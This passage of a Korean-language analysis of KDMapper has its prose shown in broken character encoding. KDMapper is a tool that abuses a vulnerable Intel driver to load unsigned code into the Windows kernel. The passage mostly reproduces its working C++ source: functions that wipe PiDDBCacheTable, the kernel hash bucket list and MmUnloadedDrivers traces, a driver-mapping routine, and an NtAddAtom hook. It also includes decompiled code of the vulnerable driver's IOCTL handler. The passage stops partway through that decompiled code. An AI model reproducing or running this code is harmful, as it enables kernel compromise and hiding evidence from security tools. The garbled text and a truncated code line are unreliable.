1: kd> dt _UNICODE_STRING ffff8f80`e83783a0
nt!_UNICODE_STRING
"mssecflt.sys"
+0x000 Length : 0x18
+0x002 MaximumLength : 0x18
+0x008 Buffer : 0xffff8f80`e82d51c0 "mssecflt.sys"
C
๋ณต์ฌ
6.
์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ PiDDBCacheEntry์ List๋ฅผ ๋์ต๋๋ค.
// first, unlink from the list
PLIST_ENTRY prev;
if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't get prev entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
PLIST_ENTRY next;
if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't get next entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl);
if (!WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't set next entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
if (!WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't set prev entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
C
๋ณต์ฌ
7.
์ดํ PiDDBCacheTable์์ pFoundEntry๋ฅผ ์ญ์ ํ๊ณ PiDDBCacheTable์ DeleteCount๋ฅผ 1 ๊ฐ์์ํค๊ณ
TableContext๊ฐ์ ๋ค์ 0์ผ๋ก Setํ๊ณ ๋ฆฌ์์ค ๋
์ ์ ํด์ ํ๊ณ True๋ฅผ ๋ฆฌํดํ๋ฉด์ ํจ์๊ฐ ์ข
๋ฃ๋ฉ๋๋ค.
// then delete the element from the avl table. vuln Driver์
if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) {
Log(L"[-] Can't delete from PiDDBCacheTable" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
//Decrement delete count
ULONG cacheDeleteCount = 0;
ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
if (cacheDeleteCount > 0) {
cacheDeleteCount--;
WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
}
//Restore context if wasn't 1
if (prevContext != targetContext) {
WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64));
}
// release the ddb resource lock. ๋ฆฌ์์ค ๋ฆด๋ฆฌ์ฆ
ExReleaseResourceLite(device_handle, PiDDBLock);
Log(L"[+] PiDDBCacheTable Cleaned" << std::endl);
return true;
C
๋ณต์ฌ
1.2.3 intel_driver::ClearKernelHashBucketList
ํด๋น ํจ์๋ ClearKernelHashBucketList๋ ์์ ๋น์ทํฉ๋๋ค.
1.
FindPattern์ผ๋ก g_KernelHashBucketList, g_HashCacheLock์ ์ฐพ์ต๋๋ค.
2.
g_HashCacheLock์ ์ด์ฉํ์ฌ ๋ฆฌ์์ค๋ฅผ ๋
์ ํฉ๋๋ค.
3.
์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ ๊ฐ์ ์ด๋ฆ์ ๊ฐ์ง๊ณ ์๋ HashBucketEntry๋ฅผ ์ฐพ์ต๋๋ค.
4.
์ฐพ์ Entry์ ๋ฆฌ์คํธ๋ฅผ ๋๊ณ Free ํด๋ฒ๋ฆฝ๋๋ค.
bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
uint64_t ci = utils::GetKernelModuleAddress("ci.dll");
if (!ci) {
Log(L"[-] Can't Find ci.dll module address" << std::endl);
return false;
}
//Thanks @KDIo3 and @Swiftik from UnknownCheats. HashBucketList, HashCacheLock ํจํด์ผ๋ก offset ํ๋
auto sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), (char*)"xxx????x?xxxxxxx");
if (!sig) {
Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl);
return false;
}
auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), (char*)"xxx");
if (!sig2) {
Log(L"[-] Can't Find g_HashCacheLock" << std::endl);
return false;
}
//ํจํด ์ฃผ์ ํ๋
const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7
const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7);
if (!g_KernelHashBucketList || !g_HashCacheLock)
{
Log(L"[-] Can't Find g_HashCache relative address" << std::endl);
return false;
}
Log(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);
// ๋ฆฌ์์ค ๋ฝ
if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) {
Log(L"[-] Can't lock g_HashCacheLock" << std::endl);
return false;
}
Log(L"[+] g_HashCacheLock Locked" << std::endl);
// entry์ ์ฃผ์ ๋ณต์ฌ
HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList;
HashBucketEntry* entry = 0;
if (!ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry))) {
Log(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
if (!entry) {
Log(L"[!] g_KernelHashBucketList looks empty!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return true;
}
std::wstring wdname = GetDriverNameW();
std::wstring search_path = GetDriverPath();
SIZE_T expected_len = (search_path.length() - 2) * 2;
while (entry) {
//Driver Name Length ์ฒดํฌ
USHORT wsNameLen = 0;
if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) {
Log(L"[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
if (expected_len == wsNameLen) {
wchar_t* wsNamePtr = 0;
if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) {
Log(L"[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
wchar_t* wsName = new wchar_t[(ULONG64)wsNameLen / 2ULL + 1ULL];
memset(wsName, 0, wsNameLen + sizeof(wchar_t));
if (!ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, wsNameLen)) {
Log(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
//๋๋ผ์ด๋ฒ HashBukketList ์ฐพ์์ ๊ฒฝ์ฐ Next ๊ฐ ์ ์ฅ
size_t find_result = std::wstring(wsName).find(wdname);
if (find_result != std::wstring::npos) {
Log(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl);
HashBucketEntry* Next = 0;
if (!ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next))) {
Log(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
//prev ๊ฐ์ next ๊ฐ์ผ๋ก ๋ ๋ฆผ
if (!WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next))) {
Log(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
//entry pool ๋ ๋ฆผ
if (!FreePool(device_handle, (uintptr_t)entry)) {
Log(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
Log(L"[+] g_KernelHashBucketList Cleaned" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
delete[] wsName;
return true;
}
delete[] wsName;
}
prev = entry;
//read next
if (!ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry))) {
Log(L"[-] Failed to read g_KernelHashBucketList next entry!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
}
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
C
๋ณต์ฌ
g_KernelHashBucketList in Kernel and Structre
typedef struct _HashBucketEntry // Define in KDMapper
{
struct _HashBucketEntry* Next;
UNICODE_STRING DriverName;
ULONG CertHash[5];
} HashBucketEntry, * PHashBucketEntry;
0: kd> dqs ci!g_kernelhashbucketlist
fffff801`33abc080 ffffe088`2162f530
fffff801`33abc088 00000000`00000000
fffff801`33abc090 00000000`00000000
fffff801`33abc098 00000000`00000000
0: kd> dqs ffffe088`2162f530
ffffe088`2162f530 ffffe088`2079f740 // Next
ffffe088`2162f538 00000000`00540052 // UNICODE_STRING.Length, UNICODE_STRING.MaximumLength
ffffe088`2162f540 ffffe088`2162f578 // UNICODE_STRING.Buffer
ffffe088`2162f548 707dce94`cca7d6cb
ffffe088`2162f550 fdeae0db`bbb95e7f
ffffe088`2162f558 00000000`03e2be39
0: kd> dt _unicode_string ffffe088`2162f538
nt!_UNICODE_STRING
"\Windows\System32\drivers\wd\WdNisDrv.sys"
+0x000 Length : 0x52
+0x002 MaximumLength : 0x54
+0x008 Buffer : 0xffffe088`2162f578 "\Windows\System32\drivers\wd\WdNisDrv.sys"
C
๋ณต์ฌ
1.2.4 intel_driver::ClearMmUnloadDrivers
ํด๋น ํจ์์์๋
1.
NtQuerySystemInformation์ผ๋ก ๋๋ผ์ด๋ฒ ํธ๋ค์ ์ค๋ธ์ ํธ๋ฅผ ์ฐพ์ต๋๋ค.
2.
Object+0x08 > Device Object+0x08 > Driver Object+0x28 > Driver Section+0x28 > Driver Name์ผ๋ก ์ฐพ์๊ฐ
๋๋ผ์ด๋ฒ ๋ค์์ length๊ฐ์ 0์ผ๋ก ๋ณ์กฐํฉ๋๋ค
3.
0์ผ๋ก ๋ณ์กฐํ๋ ์ด์ ๋ MiRememberUnloadDriver๊ฐ ๋๋ผ์ด๋ฒ Length๊ฐ์ด 0๋ณด๋ค ์ด๊ณผํ๋ ๋๋ผ์ด๋ฒ๋ง ์ฒดํฌํ๊ธฐ ๋๋ฌธ์
๋๋ค.
bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle) {
ULONG buffer_size = 0;
void* buffer = nullptr;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
while (status == nt::STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status) || buffer == 0)
{
if (buffer != 0)
VirtualFree(buffer, 0, MEM_RELEASE);
return false;
}
uint64_t object = 0;
auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);
for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i)
{
const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];
if (current_system_handle.UniqueProcessId != reinterpret_cast<HANDLE>(static_cast<uint64_t>(GetCurrentProcessId())))
continue;
if (current_system_handle.HandleValue == device_handle)
{
object = reinterpret_cast<uint64_t>(current_system_handle.Object);
break;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
if (!object)
return false;
uint64_t device_object = 0;
if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object)) || !device_object) {
Log(L"[!] Failed to find device_object" << std::endl);
return false;
}
uint64_t driver_object = 0;
if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) {
Log(L"[!] Failed to find driver_object" << std::endl);
return false;
}
uint64_t driver_section = 0;
if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) {
Log(L"[!] Failed to find driver_section" << std::endl);
return false;
}
UNICODE_STRING us_driver_base_dll_name = { 0 };
if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) {
Log(L"[!] Failed to find driver name" << std::endl);
return false;
}
wchar_t* unloadedName = new wchar_t[(ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL];
memset(unloadedName, 0, us_driver_base_dll_name.Length + sizeof(wchar_t));
if (!ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length)) {
Log(L"[!] Failed to read driver name" << std::endl);
return false;
}
us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver
if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) {
Log(L"[!] Failed to write driver name length" << std::endl);
return false;
}
Log(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl);
delete[] unloadedName;
return true;
}
C
๋ณต์ฌ
1.3 kdmapper::MapDriver
๋ก๋ํ ๋๋ผ์ด๋ฒ๋ฅผ ์ปค๋์ ๋งคํํ ๋งคํํ DriverEntry๋ฅผ ํธ์ถํด์ฃผ๋ ํจ์์
๋๋ค.
ํด๋น ํจ์์์๋
1.
ReadFileToMemory ํจ์๋ก ํ์ผ์ ๋ฒํผ์ ์ ์ฌํฉ๋๋ค.
2.
NtHeader ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
3.
๋ก๋ํ ๋๋ผ์ด๋ฒ์ ImageSize๋งํผ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํฉ๋๋ค.
4.
์ปค๋ ๋ฉ๋ชจ๋ฆฌ์ NonPagePool ํ์
์ผ๋ก ImageSize๋งํผ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํฉ๋๋ค.
5.
์น์
ํด๋์ ์น์
์ ๋ณต์ฌํฉ๋๋ค
6.
ํค๋ ์ ๊ฑฐ ์์
(์ ํ)์ ์ํํฉ๋๋ค.
7.
์ปค๋ ๋ฉ๋ชจ๋ฆฌ์ ๋๋ผ์ด๋ฒ๋ฅผ ๋งคํํฉ๋๋ค.
8.
intel_driver::CallKernelFunction() ํจ์๋ฅผ ์ด์ฉํด ๋งคํํ ๋๋ผ์ด๋ฒ์ DriverEntry๋ฅผ ํธ์ถํฉ๋๋ค.
uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::wstring& driver_path, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader) {
std::vector<uint8_t> raw_image = { 0 };
if (!utils::ReadFileToMemory(driver_path, &raw_image)) {
Log(L"[-] Failed to read image to memory" << std::endl);
return 0;
}
const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(raw_image.data());
if (!nt_headers) {
Log(L"[-] Invalid format of PE image" << std::endl);
return 0;
}
if (nt_headers->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
Log(L"[-] Image is not 64 bit" << std::endl);
return 0;
}
const uint32_t image_size = nt_headers->OptionalHeader.SizeOfImage;
void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!local_image_base)
return 0;
DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
uint64_t kernel_image_base = intel_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size - (destroyHeader ? TotalVirtualHeaderSize : 0));
do {
if (!kernel_image_base) {
Log(L"[-] Failed to allocate remote image in kernel" << std::endl);
break;
}
Log(L"[+] Image base has been allocated at 0x" << reinterpret_cast<void*>(kernel_image_base) << std::endl);
// Copy image headers
memcpy(local_image_base, raw_image.data(), nt_headers->OptionalHeader.SizeOfHeaders);
// Copy image sections
const PIMAGE_SECTION_HEADER current_image_section = IMAGE_FIRST_SECTION(nt_headers);
for (auto i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
auto local_section = reinterpret_cast<void*>(reinterpret_cast<uint64_t>(local_image_base) + current_image_section[i].VirtualAddress);
memcpy(local_section, reinterpret_cast<void*>(reinterpret_cast<uint64_t>(raw_image.data()) + current_image_section[i].PointerToRawData), current_image_section[i].SizeOfRawData);
}
uint64_t realBase = kernel_image_base;
if (destroyHeader) {
kernel_image_base -= TotalVirtualHeaderSize;
Log(L"[+] Skipped 0x" << std::hex << TotalVirtualHeaderSize << L" bytes of PE Header" << std::endl);
}
// Resolve relocs and imports
RelocateImageByDelta(portable_executable::GetRelocs(local_image_base), kernel_image_base - nt_headers->OptionalHeader.ImageBase);
if (!ResolveImports(iqvw64e_device_handle, portable_executable::GetImports(local_image_base))) {
Log(L"[-] Failed to resolve imports" << std::endl);
kernel_image_base = realBase;
break;
}
// Write fixed image to kernel
if (!intel_driver::WriteMemory(iqvw64e_device_handle, realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size - (destroyHeader ? TotalVirtualHeaderSize : 0))) {
Log(L"[-] Failed to write local image to remote image" << std::endl);
kernel_image_base = realBase;
break;
}
// Call driver entry point
const uint64_t address_of_entry_point = kernel_image_base + nt_headers->OptionalHeader.AddressOfEntryPoint;
Log(L"[<] Calling DriverEntry 0x" << reinterpret_cast<void*>(address_of_entry_point) << std::endl);
NTSTATUS status = 0;
if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point, param1, param2)) {
Log(L"[-] Failed to call driver entry" << std::endl);
kernel_image_base = realBase;
break;
}
Log(L"[+] DriverEntry returned 0x" << std::hex << status << std::endl);
if (free)
intel_driver::FreePool(iqvw64e_device_handle, realBase);
VirtualFree(local_image_base, 0, MEM_RELEASE);
return realBase;
} while (false);
VirtualFree(local_image_base, 0, MEM_RELEASE);
intel_driver::FreePool(iqvw64e_device_handle, kernel_image_base);
return 0;
}
C
๋ณต์ฌ
1.3.1 CallKernelFunction
ํด๋น ํจ์๋ ์ฃผ๋ก ์ฌ์ฉํ์ง ์๋ NtAddAtom์ด๋ผ๋ ํจ์๋ฅผ ํํนํ์ฌ ํด๋น ํจ์๋ฅผ ํธ์ถํ๋ฉด ๋งคํํ ๋๋ผ์ด๋ฒ์ DriverEntry๋ฅผ ํธ์ถํ๋ ์์
์ ์ํํฉ๋๋ค.
bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) {
constexpr auto call_void = std::is_same_v<T, void>;
if constexpr (!call_void) {
if (!out_result)
return false;
}
else {
UNREFERENCED_PARAMETER(out_result);
}
if (!kernel_function_address)
return false;
// Setup function call
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == 0) {
Log(L"[-] Failed to load ntdll.dll" << std::endl); //never should happens
return false;
}
const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
if (!NtAddAtom)
{
Log(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl);
return false;
}
uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
if (!kernel_NtAddAtom) {
Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl);
return false;
}
if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
return false;
if (original_kernel_function[0] == kernel_injected_jmp[0] &&
original_kernel_function[1] == kernel_injected_jmp[1] &&
original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] &&
original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) {
Log(L"[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl);
return false;
}
// Overwrite the pointer with kernel_function_address
if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
return false;
// Call function
if constexpr (!call_void) {
using FunctionFn = T(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
*out_result = Function(arguments...);
}
else {
using FunctionFn = void(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
Function(arguments...);
}
// Restore the pointer/jmp
WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
return true;
}
C
๋ณต์ฌ
WriteToReadOnlyMemory
ํด๋น ํจ์๋ ์ปค๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์์ ํ ๋ ์ฌ์ฉํ๋ฉฐ, MDL๊ณผ ๋น์ทํ ์๋ฆฌ๋ก ์์ ํ๋๊ฒ์ผ๋ก ๋ณด์
๋๋ค.
ํด๋น ๋ฐฉ์์ด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ KDMapper ๋ถ์ํ๋ฉด์ ์ฒ์ ์์์ต๋๋ค.
1.
GetPhysicalAddress ํจ์๋ฅผ ์ด์ฉํด ํํนํ ํจ์์ PhysicalAddress(๋ฌผ๋ฆฌ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์)๊ฐ์ ํ๋ํฉ๋๋ค.
2.
MapIoSpace ํจ์๋ฅผ ์ด์ฉํด ํ๋ํ PhysicalAddress์ ๋งคํ๋๋ VirtualAddress(๊ฐ์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์)๋ฅผ ํ๋ํฉ๋๋ค.
3.
ํ๋ํ VirtualAddress๋ฅผ ์์ ํฉ๋๋ค.
bool intel_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {
if (!address || !buffer || !size)
return false;
uint64_t physical_address = 0;
if (!GetPhysicalAddress(device_handle, address, &physical_address)) {
Log(L"[-] Failed to translate virtual address 0x" << reinterpret_cast<void*>(address) << std::endl);
return false;
}
const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size);
if (!mapped_physical_memory) {
Log(L"[-] Failed to map IO space of 0x" << reinterpret_cast<void*>(physical_address) << std::endl);
return false;
}
bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size);
if (!UnmapIoSpace(device_handle, mapped_physical_memory, size))
Log(L"[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast<void*>(physical_address) << std::endl);
return result;
}
C
๋ณต์ฌ
1.4 Vuln Driver Ioctl Handler
KDMapper์์๋ ๋ชจ๋ ์ปค๋ ์์
์ DeviceIoControl ํจ์์ IoControlCode๊ฐ์ 0x80862007๋ง ์ฌ์ฉํ์ฌ ์ํํฉ๋๋ค.
1.4.1 ioctl_handler
Vuln Driver SourceCode
__int64 __fastcall ioctl_handler_11150(__int64 a1, IRP *a2)
{
_IO_STACK_LOCATION *v2; // rax
__int64 v3; // rcx
__int64 v5; // rdx
unsigned int v6; // ebx
v2 = a2->Tail.Overlay.CurrentStackLocation;
v3 = (__int64)v2->Parameters.CreatePipe.Parameters;
v5 = v2->Parameters.Read.ByteOffset.LowPart;
if ( v3 )
{
switch ( (_DWORD)v5 )
{
case 0x80862007:
v6 = vuln_func_113C0(v3);
break;
case 0x8086200B:
v6 = sub_11A60(v3);
break;
case 0x8086200F:
v6 = sub_11330();
break;
case 0x80862013:
v6 = sub_13FA0();
break;
default:
v6 = -1073741811;
sub_11F30("Nal Windows DriverDeviceControl: Invalid IOCTL code 0x%0x\n", v5);
break;
}
}
else
{
sub_11F30("NalDeviceControl: InputBuffer was NULL\n", v5);
v6 = -1073741811;
}
a2->IoStatus.Information = 0i64;
a2->IoStatus.Status = v6;
IofCompleteRequest(a2, 0);
return v6;
}
C
๋ณต์ฌ
1.4.2 vuln_func
ํด๋น ํจ์์์ ์
๋ ฅ๋ฐ์ ๊ตฌ์กฐ์ฒด์ Case Number์ ๋ฐ๋ผ ํน์ ํจ์๋ฅผ ํธ์ถํ๊ฒ ๋ฉ๋๋ค.
KDMapper์์ ์ฌ์ฉ๋๋ ํจ์๋ค์ ํ์ธํด๋ณด๊ฒ ์ต๋๋ค.
__int64 __fastcall sub_113C0(__int64 a1)
{
unsigned int v2; // ebx
__int64 result; // rax
__int64 v4; // rcx
__int64 v5; // rcx
__int64 v6; // rdx
v2 = 1;
if ( !a1 )
return v2;
switch ( *(_QWORD *)a1 )
{
case 1i64:
*(_BYTE *)(a1 + 16) = sub_11C20(*(_QWORD *)(a1 + 24));
return 0i64;
case 2i64:
*(_WORD *)(a1 + 16) = sub_11C30(*(_QWORD *)(a1 + 24));
return 0i64;
case 3i64:
*(_DWORD *)(a1 + 16) = sub_11C40(*(_QWORD *)(a1 + 24));
return 0i64;
case 7i64:
*(_BYTE *)(a1 + 16) = sub_11C50(*(_QWORD *)(a1 + 24), *(unsigned __int8 *)(a1 + 32));
return 0i64;
case 8i64:
*(_BYTE *)(a1 + 16) = sub_11C60(*(_QWORD *)(a1 + 24), *(unsigned __int16 *)(a1 + 32));
return 0i64;
case 9i64:
*(_BYTE *)(a1 + 16) = sub_11C80(*(_QWORD *)(a1 + 24), *(unsigned int *)(a1 + 32));
return 0i64;
case 0xDi64:
*(_BYTE *)(a1 + 16) = sub_11C90(*(_QWORD *)(a1 + 24));
return 0i64;
case 0xEi64:
*(_WORD *)(a1 + 16) = sub_11CB0(*(_QWORD *)(a1 + 24));
return 0i64;
case 0xFi64:
*(_DWORD *)(a1 + 16) = sub_11CD0(*(_QWORD *)(a1 + 24));
return 0i64;
case 0x13i64:
*(_BYTE *)(a1 + 16) = sub_11CF0(*(_QWORD *)(a1 + 24), *(unsigned __int8 *)(a1 + 32));
return 0i64;
case 0x14i64:
*(_BYTE *)(a1 + 16) = sub_11D10(*(_QWORD *)(a1 + 24), *(unsigned __int16 *)(a1 + 32));
return 0i64;
case 0x15i64:
*(_BYTE *)(a1 + 16) = sub_11D30(*(_QWORD *)(a1 + 24), *(unsigned int *)(a1 + 32));
return 0i64;
case 0x19i64:
*(_DWORD *)(a1 + 16) = sub_12AC0(a1 + 24, *(_QWORD *)(a1 + 32), a1 + 40);
return 0i64;
case 0x1Ai64:
*(_DWORD *)(a1 + 16) = sub_121C0(*(PVOID *)(a1 + 24));
return 0i64;
case 0x1Bi64:
*(_QWORD *)(a1 + 16) = sub_11DB0();
return 0i64;
case 0x1Ci64:
*(_QWORD *)(a1 + 16) = sub_12450();
return 0i64;
case 0x23i64:
sub_123C0(*(_DWORD *)(a1 + 16));
return 0i64;
case 0x24i64:
sub_11D50(*(_DWORD *)(a1 + 16));
return 0i64;
case 0x25i64:
*(_QWORD *)(a1 + 16) = sub_12010(*(_QWORD *)(a1 + 24));
return 0i64;
case 0x26i64:
*(_QWORD *)(a1 + 16) = sub_128B0(*(_DWORD *)(a1 + 24), *(_DWORD *)(a1 + 28), (int)a1 + 32, 0, 0);
return 0i64;
case 0x27i64:
sub_128E0(*(_QWORD *)(a1 + 16), 0i64, 0i64);
return 0i64;
case 0x28i64:
*(_DWORD *)(a1 + 16) = sub_11ED0(*(_QWORD *)(a1 + 24));
return 0i64;
case 0x29i64:
*(_DWORD *)(a1 + 16) = sub_11EF0(*(_QWORD *)(a1 + 24));
return 0i64;
case 0x2Ai64:
*(_DWORD *)(a1 + 16) = sub_11F10(*(_QWORD *)(a1 + 24), *(unsigned int *)(a1 + 32), *(unsigned int *)(a1 + 36));
